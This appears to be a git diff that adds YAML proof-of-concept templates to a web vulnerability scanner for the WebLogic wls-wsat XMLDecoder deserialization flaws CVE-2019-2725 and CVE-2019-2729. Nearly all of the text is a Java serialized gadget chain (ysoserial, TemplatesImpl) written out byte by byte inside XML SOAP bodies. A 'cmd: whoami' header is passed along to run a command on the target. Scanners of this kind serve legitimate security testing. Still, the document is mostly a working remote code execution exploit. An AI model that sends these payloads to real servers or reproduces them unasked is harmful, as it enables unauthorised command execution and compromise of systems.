+ + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 10 + + + 0 + + + -110 + + + 10 + + + 0 + + + -117 + + + 0 + + + -109 + + + 1 + + + 0 + + + 19 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 82 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 10 + + + 0 + + + -107 + + + 10 + + + 0 + + + -119 + + + 0 + + + -106 + + + 1 + + + 0 + + + 0 + + + 8 + + + 0 + + + -104 + + + 1 + + + 0 + + + 8 + + + 114 + + + 101 + + + 97 + + + 100 + + + 76 + + + 105 + + + 110 + + + 101 + + + 12 + + + 0 + + + -102 + + + 0 + + + 90 + + + 10 + + + 0 + + + -119 + + + 0 + + + -101 + + + 1 + + + 0 + + + 9 + + + 103 + + + 101 + + + 116 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 1 + + + 0 + + + 23 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + -99 + + + 0 + + + -98 + + + 10 + + + 0 + + + 69 + + + 0 + + + -97 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 7 + + + 0 + + + -95 + + + 1 + + + 0 + + + 5 + + + 119 + + + 114 + + + 105 + + + 116 + + + 101 + + + 12 + + + 0 + + + -93 + + + 0 + + + 71 + + + 10 + + + 0 + + + -94 + + + 0 + + + -92 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 7 + + + 0 + + + -90 + + + 1 + + + 0 + + + 3 + + + 111 + + + 117 + + + 116 + + + 1 + + + 0 + + + 21 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 12 + + + 0 + + + -88 + + + 0 + + + -87 + + + 9 + + + 0 + + + 107 + + + 0 + + + -86 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 111 + + + 119 + + + 97 + + + 98 + + + 108 + + + 101 + + + 7 + + + 0 + + + -84 + + + 10 + + + 0 + + + -83 + + + 0 + + + 91 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 7 + + + 0 + + + -81 + + + 1 + + + 0 + + + 7 + + + 112 + + + 114 + + + 105 + + + 110 + + + 116 + + + 108 + + + 110 + + + 12 + + + 0 + + + -79 + + + 0 + + + 71 + + + 10 + + + 0 + + + -80 + + + 0 + + + -78 + + + 1 + + + 0 + + + 15 + + + 112 + + + 114 + + + 105 + + + 110 + + + 116 + + + 83 + + + 116 + + + 97 + + + 99 + + + 107 + + + 84 + + + 114 + + + 97 + + + 99 + + + 101 + + + 12 + + + 0 + + + -76 + + + 0 + + + 11 + + + 10 + + + 0 + + + -83 + + + 0 + + + -75 + + + 1 + + + 0 + + + 13 + + + 83 + + + 116 + + + 97 + + + 99 + + + 107 + + + 77 + + + 97 + + + 112 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 29 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 80 + + + 119 + + + 110 + + + 101 + + + 114 + + + 52 + + + 53 + + + 52 + + + 51 + + + 56 + + + 51 + + + 49 + + + 52 + + + 50 + + + 55 + + + 56 + + + 57 + + + 57 + + + 50 + + + 1 + + + 0 + + + 31 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 80 + + + 119 + + + 110 + + + 101 + + + 114 + + + 52 + + + 53 + + + 52 + + + 51 + + + 56 + + + 51 + + + 49 + + + 52 + + + 50 + + + 55 + + + 56 + + + 57 + + + 57 + + + 50 + + + 59 + + + 0 + + + 33 + + + 0 + + + 2 + + + 0 + + + 3 + + + 0 + + + 1 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 5 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 7 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 8 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 10 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 42 + + + -73 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 12 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 0 + + + 15 + + + 0 + + + -71 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 19 + + + 0 + + + 20 + + + 0 + + + 2 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 63 + + + 0 + + + 0 + + + 0 + + + 3 + + + 0 + + + 0 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 52 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 32 + + + 0 + + + 3 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 15 + + + 0 + + + -71 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 21 + + + 0 + + + 22 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 23 + + + 0 + + + 24 + + + 0 + + + 2 + + + 0 + + + 25 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 1 + + + 0 + + + 19 + + + 0 + + + 27 + + + 0 + + + 2 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 73 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 0 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 56 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 42 + + + 0 + + + 4 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 15 + + + 0 + + + -71 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 21 + + + 0 + + + 22 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 28 + + + 0 + + + 29 + + + 0 + + + 2 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 30 + + + 0 + + + 31 + + + 0 + + + 3 + + + 0 + + + 25 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 8 + + + 0 + + + 41 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 1 + + + 114 + + + 0 + + + 7 + + + 0 + + + 11 + + + 0 + + + 0 + + + 1 + + + 18 + + + -89 + + + 0 + + + 3 + + + 1 + + + 76 + + + -72 + + + 0 + + + 47 + + + -64 + + + 0 + + + 49 + + + -74 + + + 0 + + + 53 + + + -64 + + + 0 + + + 55 + + + 18 + + + 57 + + + -74 + + + 0 + + + 61 + + + 77 + + + -72 + + + 0 + + + 47 + + + -64 + + + 0 + + + 49 + + + -74 + + + 0 + + + 53 + + + -64 + + + 0 + + + 55 + + + -74 + + + 0 + + + 65 + + + 78 + + + 45 + + + 18 + + + 67 + + + -74 + + + 0 + + + 73 + + + 45 + + + -74 + + + 0 + + + 77 + + + 58 + + + 4 + + + 25 + + + 4 + + + -69 + + + 0 + + + 79 + + + 89 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 44 + + + -74 + + + 0 + + + 86 + + + 18 + + + 88 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + -73 + + + 0 + + + 94 + + + -74 + + + 0 + + + 100 + + + 25 + + + 4 + + + -74 + + + 0 + + + 103 + + + 18 + + + 105 + + + -72 + + + 0 + + + 110 + + + 58 + + + 5 + + + 25 + + + 5 + + + 1 + + + -91 + + + 0 + + + 16 + + + 25 + + + 5 + + + -74 + + + 0 + + + 115 + + + 18 + + + 117 + + + -74 + + + 0 + + + 121 + + + -102 + + + 0 + + + 6 + + + -89 + + + 0 + + + 33 + + + -72 + + + 0 + + + 127 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 18 + + + -127 + + + -74 + + + 0 + + + 86 + + + 44 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + -74 + + + 0 + + + -123 + + + 58 + + + 6 + + + -89 + + + 0 + + + 30 + + + -72 + + + 0 + + + 127 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 18 + + + -121 + + + -74 + + + 0 + + + 86 + + + 44 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + -74 + + + 0 + + + -123 + + + 58 + + + 6 + + + -69 + + + 0 + + + -119 + + + 89 + + + -69 + + + 0 + + + -117 + + + 89 + + + 25 + + + 6 + + + -74 + + + 0 + + + -111 + + + 18 + + + 67 + + + -73 + + + 0 + + + -108 + + + -73 + + + 0 + + + -105 + + + 58 + + + 7 + + + 1 + + + 58 + + + 8 + + + 18 + + + -103 + + + 58 + + + 9 + + + -89 + + + 0 + + + 25 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 25 + + + 9 + + + -74 + + + 0 + + + 86 + + + 25 + + + 8 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + 58 + + + 9 + + + 25 + + + 7 + + + -74 + + + 0 + + + -100 + + + 89 + + + 58 + + + 8 + + + 1 + + + -90 + + + -1 + + + -31 + + + 45 + + + -74 + + + 0 + + + -96 + + + 25 + + + 9 + + + -74 + + + 0 + + + -91 + + + -89 + + + 0 + + + 24 + + + 58 + + + 10 + + + -78 + + + 0 + + + -85 + + + 25 + + + 10 + + + -74 + + + 0 + + + -82 + + + -74 + + + 0 + + + -77 + + + 25 + + + 10 + + + -74 + + + 0 + + + -74 + + + -89 + + + 0 + + + 3 + + + -79 + + + 0 + + + 1 + + + 0 + + + 94 + + + 0 + + + -7 + + + 0 + + + -4 + + + 0 + + + -89 + + + 0 + + + 1 + + + 0 + + + -73 + + + 0 + + + 0 + + + 0 + + + 70 + + + 0 + + + 9 + + + 3 + + + -1 + + + 0 + + + 109 + + + 0 + + + 6 + + + 0 + + + 5 + + + 7 + + + 0 + + + 112 + + + 7 + + + 0 + + + 69 + + + 7 + + + 0 + + + 96 + + + 7 + + + 0 + + + 112 + + + 0 + + + 0 + + + 2 + + + 29 + + + -4 + + + 0 + + + 26 + + + 7 + + + 0 + + + -115 + + + -2 + + + 0 + + + 32 + + + 7 + + + 0 + + + -119 + + + 7 + + + 0 + + + 112 + + + 7 + + + 0 + + + 112 + + + 21 + + + -1 + + + 0 + + + 23 + + + 0 + + + 6 + + + 0 + + + 5 + + + 7 + + + 0 + + + 112 + + + 7 + + + 0 + + + 69 + + + 7 + + + 0 + + + 96 + + + 7 + + + 0 + + + 112 + + + 0 + + + 1 + + + 7 + + + 0 + + + -89 + + + 20 + + + 0 + + + 2 + + + 0 + + + 32 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 33 + + + 0 + + + 17 + + + 0 + + + 0 + + + 0 + + + 10 + + + 0 + + + 1 + + + 0 + + + 2 + + + 0 + + + 35 + + + 0 + + + 16 + + + 0 + + + 9 + + + 117 + + + 113 + + + 0 + + + 126 + + + 0 + + + 13 + + + 0 + + + 0 + + + 1 + + + -44 + + + -54 + + + -2 + + + -70 + + + -66 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + 27 + + + 10 + + + 0 + + + 3 + + + 0 + + + 21 + + + 7 + + + 0 + + + 23 + + + 7 + + + 0 + + + 24 + + + 7 + + + 0 + + + 25 + + + 1 + + + 0 + + + 16 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 86 + + + 101 + + + 114 + + + 115 + + + 105 + + + 111 + + + 110 + + + 85 + + + 73 + + + 68 + + + 1 + + + 0 + + + 1 + + + 74 + + + 1 + + + 0 + + + 13 + + + 67 + + + 111 + + + 110 + + + 115 + + + 116 + + + 97 + + + 110 + + + 116 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 5 + + + 113 + + + -26 + + + 105 + + + -18 + + + 60 + + + 109 + + + 71 + + + 24 + + + 1 + + + 0 + + + 6 + + + 60 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 3 + + + 40 + + + 41 + + + 86 + + + 1 + + + 0 + + + 4 + + + 67 + + + 111 + + + 100 + + + 101 + + + 1 + + + 0 + + + 15 + + + 76 + + + 105 + + + 110 + + + 101 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 18 + + + 76 + + + 111 + + + 99 + + + 97 + + + 108 + + + 86 + + + 97 + + + 114 + + + 105 + + + 97 + + + 98 + + + 108 + + + 101 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 4 + + + 116 + + + 104 + + + 105 + + + 115 + + + 1 + + + 0 + + + 3 + + + 70 + + + 111 + + + 111 + + + 1 + + + 0 + + + 12 + + + 73 + + + 110 + + + 110 + + + 101 + + + 114 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 1 + + + 0 + + + 37 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 70 + + + 111 + + + 111 + + + 59 + + + 1 + + + 0 + + + 10 + + + 83 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 70 + + + 105 + + + 108 + + + 101 + + + 1 + + + 0 + + + 12 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 46 + + + 106 + + + 97 + + + 118 + + + 97 + + + 12 + + + 0 + + + 10 + + + 0 + + + 11 + + + 7 + + + 0 + + + 26 + + + 1 + + + 0 + + + 35 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 70 + + + 111 + + + 111 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 79 + + + 98 + + + 106 + + + 101 + + + 99 + + + 116 + + + 1 + + + 0 + + + 20 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 31 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 0 + + + 33 + + + 0 + + + 2 + + + 0 + + + 3 + + + 0 + + + 1 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 5 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 7 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 8 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 10 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 42 + + + -73 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 60 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 12 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 0 + + + 15 + + + 0 + + + 18 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 19 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 20 + + + 0 + + + 17 + + + 0 + + + 0 + + + 0 + + + 10 + + + 0 + + + 1 + + + 0 + + + 2 + + + 0 + + + 22 + + + 0 + + + 16 + + + 0 + + + 9 + + + 112 + + + 116 + + + 0 + + + 4 + + + 80 + + + 119 + + + 110 + + + 114 + + + 112 + + + 119 + + + 1 + + + 0 + + + 120 + + + 115 + + + 125 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 29 + + + 106 + + + 97 + + + 118 + + + 97 + + + 120 + + + 46 + + + 120 + + + 109 + + + 108 + + + 46 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 120 + + + 114 + + + 0 + + + 23 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 108 + + + 97 + + + 110 + + + 103 + + + 46 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 46 + + + 80 + + + 114 + + + 111 + + + 120 + + + 121 + + + -31 + + + 39 + + + -38 + + + 32 + + + -52 + + + 16 + + + 67 + + + -53 + + + 2 + + + 0 + + + 1 + + + 76 + + + 0 + + + 1 + + + 104 + + + 116 + + + 0 + + + 37 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 47 + + + 73 + + + 110 + + + 118 + + + 111 + + + 99 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 120 + + + 112 + + + 115 + + + 114 + + + 0 + + + 50 + + + 115 + + + 117 + + + 110 + + + 46 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 46 + + + 97 + + + 110 + + + 110 + + + 111 + + + 116 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 46 + + + 65 + + + 110 + + + 110 + + + 111 + + + 116 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 73 + + + 110 + + + 118 + + + 111 + + + 99 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 85 + + + -54 + + + -11 + + + 15 + + + 21 + + + -53 + + + 126 + + + -91 + + + 2 + + + 0 + + + 2 + + + 76 + + + 0 + + + 12 + + + 109 + + + 101 + + + 109 + + + 98 + + + 101 + + + 114 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 115 + + + 116 + + + 0 + + + 15 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 77 + + + 97 + + + 112 + + + 59 + + + 76 + + + 0 + + + 4 + + + 116 + + + 121 + + + 112 + + + 101 + + + 116 + + + 0 + + + 17 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 59 + + + 120 + + + 112 + + + 115 + + + 114 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 72 + + + 97 + + + 115 + + + 104 + + + 77 + + + 97 + + + 112 + + + 5 + + + 7 + + + -38 + + + -63 + + + -61 + + + 22 + + + 96 + + + -47 + + + 3 + + + 0 + + + 2 + + + 70 + + + 0 + + + 10 + + + 108 + + + 111 + + + 97 + + + 100 + + + 70 + + + 97 + + + 99 + + + 116 + + + 111 + + + 114 + + + 73 + + + 0 + + + 9 + + + 116 + + + 104 + + + 114 + + + 101 + + + 115 + + + 104 + + + 111 + + + 108 + + + 100 + + + 120 + + + 112 + + + 63 + + + 64 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 12 + + + 119 + + + 8 + + + 0 + + + 0 + + + 0 + + + 16 + + + 0 + + + 0 + + + 0 + + + 1 + + + 116 + + + 0 + + + 8 + + + 102 + + + 53 + + + 97 + + + 53 + + + 97 + + + 54 + + + 48 + + + 56 + + + 113 + + + 0 + + + 126 + + + 0 + + + 9 + + + 120 + + + 118 + + + 114 + + + 0 + + + 29 + + + 106 + + + 97 + + + 118 + + + 97 + + + 120 + + + 46 + + + 120 + + + 109 + + + 108 + + + 46 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 120 + + + 112 + + + 120 + + + + + + + + + follow_redirects: false + expression: 'response.status == 200 && response.body.bcontains(b"whoami :")' + +detail: + vulnpath: "/wls-wsat/CoordinatorPortType" + author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166) + description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData" + links: + - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 + - https://github.com/QAX-A-Team/WeblogicEnvironment + - https://xz.aliyun.com/t/5299 diff --git a/webscan/pocs/weblogic-cve-2019-2729-1.yml b/webscan/pocs/weblogic-cve-2019-2729-1.yml new file mode 100644 index 0000000..919ee57 --- /dev/null +++ b/webscan/pocs/weblogic-cve-2019-2729-1.yml @@ -0,0 +1,15065 @@ +name: poc-yaml-weblogic-cve-2019-2729-1 +rules: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + cmd: whoami + body: |- + + + + xx + xx + + + + oracle.toplink.internal.sessions.UnitOfWorkChangeSet + + + + -84 + + + -19 + + + 0 + + + 5 + + + 115 + + + 114 + + + 0 + + + 23 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 76 + + + 105 + + + 110 + + + 107 + + + 101 + + + 100 + + + 72 + + + 97 + + + 115 + + + 104 + + + 83 + + + 101 + + + 116 + + + -40 + + + 108 + + + -41 + + + 90 + + + -107 + + + -35 + + + 42 + + + 30 + + + 2 + + + 0 + + + 0 + + + 120 + + + 114 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 72 + + + 97 + + + 115 + + + 104 + + + 83 + + + 101 + + + 116 + + + -70 + + + 68 + + + -123 + + + -107 + + + -106 + + + -72 + + + -73 + + + 52 + + + 3 + + + 0 + + + 0 + + + 120 + + + 112 + + + 119 + + + 12 + + + 0 + + + 0 + + + 0 + + + 16 + + + 63 + + + 64 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 2 + + + 115 + + + 114 + + + 0 + + + 58 + + + 99 + + + 111 + + + 109 + + + 46 + + + 115 + + + 117 + + + 110 + + + 46 + + + 111 + + + 114 + + + 103 + + + 46 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 46 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 46 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 46 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 46 + + + 116 + + + 114 + + + 97 + + + 120 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 73 + + + 109 + + + 112 + + + 108 + + + 9 + + + 87 + + + 79 + + + -63 + + + 110 + + + -84 + + + -85 + + + 51 + + + 3 + + + 0 + + + 9 + + + 73 + + + 0 + + + 13 + + + 95 + + + 105 + + + 110 + + + 100 + + + 101 + + + 110 + + + 116 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 73 + + + 0 + + + 14 + + + 95 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 73 + + + 110 + + + 100 + + + 101 + + + 120 + + + 90 + + + 0 + + + 21 + + + 95 + + + 117 + + + 115 + + + 101 + + + 83 + + + 101 + + + 114 + + + 118 + + + 105 + + + 99 + + + 101 + + + 115 + + + 77 + + + 101 + + + 99 + + + 104 + + + 97 + + + 110 + + + 105 + + + 115 + + + 109 + + + 76 + + + 0 + + + 25 + + + 95 + + + 97 + + + 99 + + + 99 + + + 101 + + + 115 + + + 115 + + + 69 + + + 120 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 83 + + + 116 + + + 121 + + + 108 + + + 101 + + + 115 + + + 104 + + + 101 + + + 101 + + + 116 + + + 116 + + + 0 + + + 18 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 76 + + + 0 + + + 11 + + + 95 + + + 97 + + + 117 + + + 120 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 116 + + + 0 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 114 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 47 + + + 72 + + + 97 + + + 115 + + + 104 + + + 116 + + + 97 + + + 98 + + + 108 + + + 101 + + + 59 + + + 91 + + + 0 + + + 10 + + + 95 + + + 98 + + + 121 + + + 116 + + + 101 + + + 99 + + + 111 + + + 100 + + + 101 + + + 115 + + + 116 + + + 0 + + + 3 + + + 91 + + + 91 + + + 66 + + + 91 + + + 0 + + + 6 + + + 95 + + + 99 + + + 108 + + + 97 + + + 115 + + + 115 + + + 116 + + + 0 + + + 18 + + + 91 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 59 + + + 76 + + + 0 + + + 5 + + + 95 + + + 110 + + + 97 + + + 109 + + + 101 + + + 113 + + + 0 + + + 126 + + + 0 + + + 4 + + + 76 + + + 0 + + + 17 + + + 95 + + + 111 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 105 + + + 101 + + + 115 + + + 116 + + + 0 + + + 22 + + + 76 + + + 106 + + + 